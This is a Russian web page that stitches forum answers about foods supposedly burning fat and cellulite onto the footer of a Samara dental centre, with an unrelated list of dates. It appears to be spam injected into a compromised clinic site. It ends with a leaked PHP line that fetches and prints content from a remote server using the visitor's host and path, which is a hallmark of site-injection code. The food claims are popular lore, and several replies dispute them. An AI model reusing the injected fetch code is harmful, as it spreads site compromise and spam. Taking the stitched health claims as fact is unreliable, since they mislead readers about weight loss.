Для того чтобы целлюлит на боках быстрее исчез важно кушать продукты, которые сжигают жир. Они помогут килограммам быстрее уйти. Тренировка сердца и легких, сжигание калорий.

Вода, яйца, Грейпфруты, Ананасы, Зеленый чай, Огородные травы, Грецкие орехи, Кайенский, или чили-перец, а больше ты можешь узнать на этом сайте: http://www.klbviktoria.com/news/14-02-2011-11.html

Вода выводит много чего ненужного (около 2 литров в день) , ананасы, сельдерей, капуста, проверено, а лучше салатик: яблоки строго зеленые, сельдерей и редис, и заправить все это йогуртом, понятно что без добавок, на крайняк сметаной, но эффекта меньше.

Имбмрь, проверенно

НИКАКИЕ продукты калории не сжигают! мифы все это! спорт сжигает!

Грейпфрут и капуста
и много-много воды

Вместе они не только ускоряют появления неприглядных бугорков на теле, но и также негативно влияют на состояние организма в целом, что в свою очередь отражается на самочувствии женщины. Продукты, вызывающие целлюлит.

Для меня это лимон

Нет таких
это все миф
сжигаю калории-спорт и физическая нагрузка

НИКАКИЕ НЕ СЖИГАЮТ.., просто если сидеть на фруктах и овощах... не поправишься.

Как похудеть? без ареда для здоровья

Почистите организм и правильно питайтесь. Почитайте Шаталову, Малахова, Брега.

Какие продукты вызывают целлюлит черный список продуктов для желающих распрощаться с апельсиновой коркой . Чтобы целлюлит покинул пределы Вашего тела нужно всего лишь отказаться от употребления некоторых продуктов питания.

Обратиться к диетологу

Стройные красавицы на форумах, посвященных диетам и здоровому питанию, вдохновенно пишут об уникальных свойствах грейпфрута. Мол, сей замечательный плод чудесным образом, и ненавистные жиры сжигает и метаболизм ускоряет. Заманчивая перспектива.

Элементарно. Надо меньше жрать и заниматься физкультурой. Кроме шуток. Никто ничего более полезного еще не придумал.
Все эти средства, таблетки, чаи и прочая хрень никакой пользы не принесут, скорее наоборот. Физические нагрузки не только способствуют снижению веса, но и оздоровляют организм в целом.

Не есть чрезмерно много, не есть калорийные продукты.
Вести подвижный образ жизни. После каждого приёма
пищи - прогулка.

Продукты которые зжигают целлюлит
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта